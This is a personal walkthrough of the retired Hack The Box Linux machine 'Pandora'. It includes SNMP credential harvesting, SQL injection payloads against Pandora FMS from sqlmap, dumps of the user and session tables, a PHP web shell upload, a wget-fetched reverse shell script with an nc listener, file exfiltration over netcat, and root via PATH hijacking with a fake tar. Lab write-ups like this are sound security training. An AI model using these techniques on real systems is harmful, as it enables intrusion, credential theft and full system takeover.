Hack The Box Pandora Writeup

Hack The Box Pandora Writeup

Pandora is an easy retired box created by TheCyberGeek and dmw0ng from Hack The Box. Hello world, welcome to Haxez where today we’re looking at Pandora. I don’t know much about this machine other than it’s a Linux box, so let’s get cracking. For those who accidentally stumbled upon this writeup looking for the CTF writeup, I’m sorry. I’m going through all the easy boxes and this was the next one alphabetically.

Enumerating Pandora

After pinging the box to ensure that it was online, I ran a Nmap scan to enumerate all ports. As shown below, Pandora had ports 22 for SSH and 80 for HTTP open. Furthermore, the responses indicate that it is an Ubuntu-based box.

└─$ sudo nmap -sC -sV -p- -oA pandora
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:39 GMT
Nmap scan report for
Host is up (0.015s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
|   256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_  256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds

Enumerating Pandora Website

We all know that it’s unlikely to be an SSH attack so let’s go take a look at the web application. I popped the IP address in my browser and the page loaded. As shown below, the application appears to be for a network monitoring service.

Pandora Web Page

However, we do notice a domain of ‘panda.htb’ on the front page. Let’s add that to our host file and see if we get a different page.

└─$ sudo echo "     panda.htb" | sudo tee -a /etc/hosts     panda.htb
└─$ cat /etc/hosts       localhost       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters  office.paper  chat.office.paper     panda.htb

Unfortunately, the website doesn’t change when visiting the domain name. Furthermore, there isn’t a lot on the web page for us to target. There is a contact form but that doesn’t appear to allow us to do much. Perhaps we missed something on our initial port scan.

Back To Enumerating

As we haven’t found much on the web, let’s run another port scan but this time we will target UDP. Initially, we only performed a TCP scan as UDP tends to take a long time to enumerate. UDP is stateless which means we don’t SYN SYN ACK ACK with it. Instead, we just blast it with data and hope it gets the message. As you can imagine, that means it’s difficult to identify open ports. Anyway, we discovered that port 161 for SNMP is open.

└─$ sudo nmap -sU --min-rate 1000 -T4 -oA pandora-udp 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:56 GMT
Nmap scan report for panda.htb (
Host is up (0.012s latency).
Not shown: 989 open|filtered udp ports (no-response)
161/udp   open   snmp
1031/udp  closed iad2
1044/udp  closed dcutility
1080/udp  closed socks
16739/udp closed unknown
19600/udp closed unknown
20380/udp closed unknown
31337/udp closed BackOrifice
34580/udp closed unknown
49172/udp closed unknown
51554/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds

Enumerating Pandora SNMP

I’m not being very creative with the titles this morning but let’s go and enumerate SNMP. SNMP is a service that allows for network monitoring. It also has well-known passwords or strings. Furthermore, it is quite common that these default strings are left in place. We can try to perform an SNMP walk against the host to view the data. However, there is a couple of things we should do first like installing ‘snmp-mibs-downloader’

└─$ sudo apt install snmp-mibs-downloader

Once installed, head to your SNMP configuration in ‘/etc/snmp/snmp.conf’ and comment out the ‘mibs’ line.

Pandora SNMP

Next, we can run ‘snmpbulkwalk’ which is faster than the traditional ‘snmpwalk’ tool. I’ve snipped the output but below but you can see the command I ran, which I stole from IppSec’s video.

└─$ snmpbulkwalk -Cr1000 -c public -v2c . | tee -a snmp3
SNMPv2-MIB::sysDescr.0 = STRING: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (244685) 0:40:46.85
SNMPv2-MIB::sysContact.0 = STRING: Daniel
SNMPv2-MIB::sysName.0 = STRING: pandora
SNMPv2-MIB::sysLocation.0 = STRING: Mississippi
SNMPv2-MIB::sysServices.0 = INTEGER: 72

Sorting SNMP Output

Attempting to sort this myself without watching a video was a futile effort. First, I didn’t really know what I was looking for. Additionally, my grep-fu is nowhere near as strong as IppSec’s. I definitely need to take my ass over to OverTheWire and brush up on a few things. Who has the time though when I have all these boxes to hack? Anyway, you can see the grep sort command below.

└─$ grep -oP '::.*?\.' snmp3 | sort | uniq -c | sort -n
    201 ::hrSWRunID.
    201 ::hrSWRunIndex.
    201 ::hrSWRunName.
    201 ::hrSWRunParameters.
    201 ::hrSWRunPath.
    201 ::hrSWRunPerfCPU.
    201 ::hrSWRunPerfMem.
    201 ::hrSWRunStatus.
    201 ::hrSWRunType.
    396 ::nsModuleModes.
    396 ::nsModuleName.
    396 ::nsModuleTimeout.
    820 ::hrSWInstalledDate.
    820 ::hrSWInstalledID.
    820 ::hrSWInstalledIndex.
    820 ::hrSWInstalledName.
    820 ::hrSWInstalledType.

This allows us to show the SNMP names in order of their reoccurrence. I wasn’t too sure what I was supposed to be looking at here but apparently, it was the ‘hrSWRun’. We can use the grep and ‘less’ tools to filter the output. Also, here are some useful ‘less’ commands from StackExchange.

less commands

By using grep to search for ‘hrSWRun’ and piping it to less we can scroll through the output. Or we can repeatedly hit ‘d’ to jump half a page which makes it faster. Eventually, we find ‘hrSWRunParameters’ which has some interesting information. It seems the user daniel is running a script called ‘host_check’ and was kind enough to leave their credentials behind.

└─$ grep hrSWRun snmp3| less
HOST-RESOURCES-MIB::hrSWRunParameters.963 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.972 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.974 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.975 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
HOST-RESOURCES-MIB::hrSWRunParameters.976 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
HOST-RESOURCES-MIB::hrSWRunParameters.978 = ""
HOST-RESOURCES-MIB::hrSWRunParameters.1011 = STRING: "-o -p -- \\u --noclear tty1 linux"
HOST-RESOURCES-MIB::hrSWRunParameters.1027 = STRING: "-k start

Pandora Foothold

Now that we have some credentials, we can try to SSH to the box. Success, we’re able to access the box with those credentials. Unfortunately, it seems that daniel has nothing in his home directory, not even a user flag. It looks like that’s in matt’s home directory so we’re going to have to find a way to his user or to root but at least we have a foothold.

└─$ ssh [email protected]                                          
daniel@pandora:~$ ls /home/daniel
daniel@pandora:~$ ls /home/matt

Authenticated Pandora Enumeration

I span up a Python webserver and used it to transfer LinPEAS to the box. Running it as the daniel user I saw that there are two CVEs that will potentially allow us to escalate our privileges to root. However, I think these are unintended methods of privilege escalation. I have this ultimate power in my grasp but I’m not going to use it. Let’s try and stick to the intended path.

Pandora Linpeas

Moving on, we can see that there is another domain within the apache2 pandora configuration file. The name of the site is ‘pandora.panda.htb’. We can add that host to our host file but visiting it just loads the existing page as this host is only listening on localhost.

Pandora apache configuration

Pandora Port Forwarding

We know that we have a hidden web application listening on localhost on port 80. In order to access that host we need to forward port 80 on the target to our host on a different port. This can be done through ssh by issuing the following command.

└─$ ssh -L localhost:8000:localhost:80 [email protected]
[email protected]'s password: 

Then when we visit localhost 8000 in our browser, we get access to the hidden website.

Hidden website

I tried default credentials and credential reuse on daniel but I was unable to log in. Using searchsploit to search for vulnerabilities doesn’t find much. However, there appears to be an SQL injection vulnerability which is explained at the following URL https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/

SQL injection.

This SQL injection is present because the SQL statement doesn’t use prepared statements as you can see below. Normally, you would use a question mark in place of the parameters. It’s probably best to go and read about prepared statements elsewhere as I will do a terrible job of explaining them.

Let’s capture a request ‘/pandora_console/include/chart_generator.php?session_id=1’ with Burp and then save that request to a file.

Pandora SQL injection

We can then use SQLMap against the request and try to identify the SQL injection.

SQL Injection

As shown in the output below, SQLMap has identified a number of SQL injection vulnerabilities in the session_id parameter.

└─$ sudo sqlmap -r pand.req        
[sudo] password for kali: 
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests:
Parameter: session_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: session_id=-4413' OR 8445=8445#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: session_id=1' OR (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x717a716a71,(SELECT (ELT(4708=4708,1))),0x7176767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tRCY

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session_id=1' AND (SELECT 7661 FROM (SELECT(SLEEP(5)))msho)-- jpVE

Now that we have confirmed SQL injection, let’s quickly go through enumerating the database, tables, and columns and eventually dumping the data. First, we start with the database names.

└─$ sudo sqlmap -r pand.req --batch -dbs               
 ___ ___["]_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . ["]     | .'| . |                                                                                                                                    
|___|_  [)]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org  
available databases [2]:
[*] information_schema
[*] pandora

Now that we have the database names, we can grab the table names from the database.

└─$ sudo sqlmap -r pand.req --batch -D pandora --tables
 ___ ___[(]_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [,]     | .'| . |                                                                                                                                    
|___|_  ["]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org
Database: pandora
[178 tables]
Pandora Database Tables

Ok, we now have the table names and I believe the table we need to look at is the ‘tsuario’ so let’s dump the column. I’ve snipped the output a bit to make it smaller but it looks like we have a lot of columns here.

└─$ sudo sqlmap -r pand.req --batch -D pandora -T tusuario --columns
 ___ ___[,]_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [,]     | .'| . |                                                                                                                                    
|___|_  [(]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org
Database: pandora
Table: tusuario
tusuario users table

Let’s just dump the table and take a look at the output.

└─$ sudo sqlmap -r pand.req --batch -D pandora -T tusuario --dump   
 ___ ___[']_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                    
|___|_  [']_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org 
Database: pandora
Table: tusuario
[3 entries]
[09:50:36] [INFO] table 'pandora.tusuario' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/pandora/tusuario.csv'
[09:50:36] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'

The output is an absolute mess but fortunately, it saved it to a CSV file for us. Let’s go take a look at it.

Pandora Table dump

Unfortunately, none of the users was an ‘admin’ user. We could try and crack matt’s password but let’s try and steal the admin user’s session instead.

Stealing and Creating Sessions

Let’s head to the sessions table and dump the contents of that. Perhaps the admin user has an active session that we can steal. We would do this by stealing the value of the id_session and creating a cookie for it with that value.

└─$ sudo sqlmap -r pand.req --batch -D pandora -T tsessions_php --dump                                                    
 ___ ___[']_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                    
|___|_  [)]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org
Database: pandora
Table: tsessions_php                             
Pandora Sessions table

Unfortunately, it seems that there are no admin sessions. Time to see what the pros did in order to get passed this part. I understand what the SQL injection is doing but I don’t understand why this works. Since there was no admin session in this table, how were we able to steal it and log in? I think that it’s bypassing the logic of the session check. I don’t have the answer but anyway, the URL below will grant us access.


Next, open a new tab and visit the application and we will be logged in as admin.

Pandora Admin Access

Catching Shells

Now we need to get a reverse shell as this user so that we have higher privileges on the server than daniel. First, create a PHP file with a command shell. Then we can use the file manager upload feature to load the shell.

File upload

Fortunately, there appears to be no validation on the things we upload. The file was uploaded successfully so we should now be able to pass arguments to that PHP shell in order to catch a reverse shell. First, let’s test whether our shell is working by finding out who we are.

php shell, id command

Let’s use this to get ourselves a reverse shell. First, grab the ‘cmd=id’ request in Burp and send it to Repeater. Next, change the request method so that it is a POST request instead of a GET request. You can now use this method to set up your reverse shell and get access to the box. I was following along with IppSec but for some reason, it didn’t like the way he was doing it. So instead, I created a script called ‘rev.sh’ and used wget to download it.

Pandora rev.sh

I then used ‘chmod +x rev.sh’ to make it executable. Please note, I had to URL encode that request as it didn’t work without doing so. I then used ‘bash ./rev.sh’ to execute it and get a reverse shell. This too had to be URL encoded for it to work.

Burp reverse shell

We now have access to the box as matt and we have our user flag.

└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 43908
bash: cannot set terminal process group (1027): Inappropriate ioctl for device
bash: no job control in this shell
matt@pandora:/var/www/pandora/pandora_console/images$ whoami
matt@pandora:/var/www/pandora/pandora_console/images$ cat /home/matt/user.txt
cat /home/matt/user.txt

Further Pandora Enumeration

First things first, Let’s make our shell better.

matt@pandora:/var/www/pandora/pandora_console/images$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ges$ python3 -c 'import pty;pty.spawn("/bin/bash")'  
matt@pandora:/var/www/pandora/pandora_console/images$ ^Z
zsh: suspended  sudo nc -lvnp 9001
└─$ stty raw -echo; fg
[1]  + continued  sudo nc -lvnp 9001

Done, if we run lLinPEAS again as matt we can see that there is an interesting file owned by root but also part of the matt group. Furthermore, this binary has the SUID bit set so this is likely the intended path to root.

Pandora Backup SUID binary.

Let’s download this file using netcat and see what’s going on. First, we use netcat to send the binary to our local machine. I thought this was cool so I wanted to include it. Plus we don’t have strings on the target box.

└─$ nc -lvnp 9002 > pandora_backup
listening on [any] 9002 ...

Now we need to push the file through to our local machine from the target.

matt@pandora:/tmp$ nc 9002 < /usr/bin/pandora_backup
nc 9002 < /usr/bin/pandora_backup

Then we MD5 sum both the files and compare the hashes to make sure they are the same.

└─$ md5sum pandora_backup 
172b42e4a9c9de0d155c357c733ff80f  pandora_backup

matt@pandora:/tmp$ md5sum /usr/bin/pandora_backup
md5sum /usr/bin/pandora_backup
172b42e4a9c9de0d155c357c733ff80f  /usr/bin/pandora_backup

Running strings on the binary we can see that it is calling tar without an absolute path. This means we can create our own tar binary with any command we want. Then, we can change our path to the location of the tar binary so that when the script is executed, it runs our command.

Tar path

I tried to exploit this with our current shell but there is something off with it. I threw an SSH key into Matt’s authorized keys and logged in as Matt via SSH.

Pandora Privilege Escalation

We already know how to escalate our privileges so let’s do it. First, we need to tell the system that our path is going to be ‘/tmp’.

matt@pandora:/tmp$ export PATH=/tmp:$PATH

Now we need a payload so let’s echo the path to bash into a file called tar and make that file executable.

matt@pandora:/tmp$ echo /bin/bash > tar
matt@pandora:/tmp$ cat tar
matt@pandora:/tmp$ chmod +x tar

Finally, we can run the pandora_backup binary that’s owned by root and has SUID set. We are now root and have access to the root.txt flag.

matt@pandora:/tmp$ /usr/bin/pandora_backup 
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:/tmp# id
uid=0(root) gid=1000(matt) groups=1000(matt)
root@pandora:/tmp# cat /root/root.txt

Pandora Review

On reflection, this wasn’t a difficult box but I think we went about it in a difficult way. I think if we had cracked Matt’s password or stolen Matt’s session then I would have found it easier. The privilege escalation was easy enough but the path to Matt seemed overly complex but I don’t think it was the intended way. Anyway, I enjoyed it.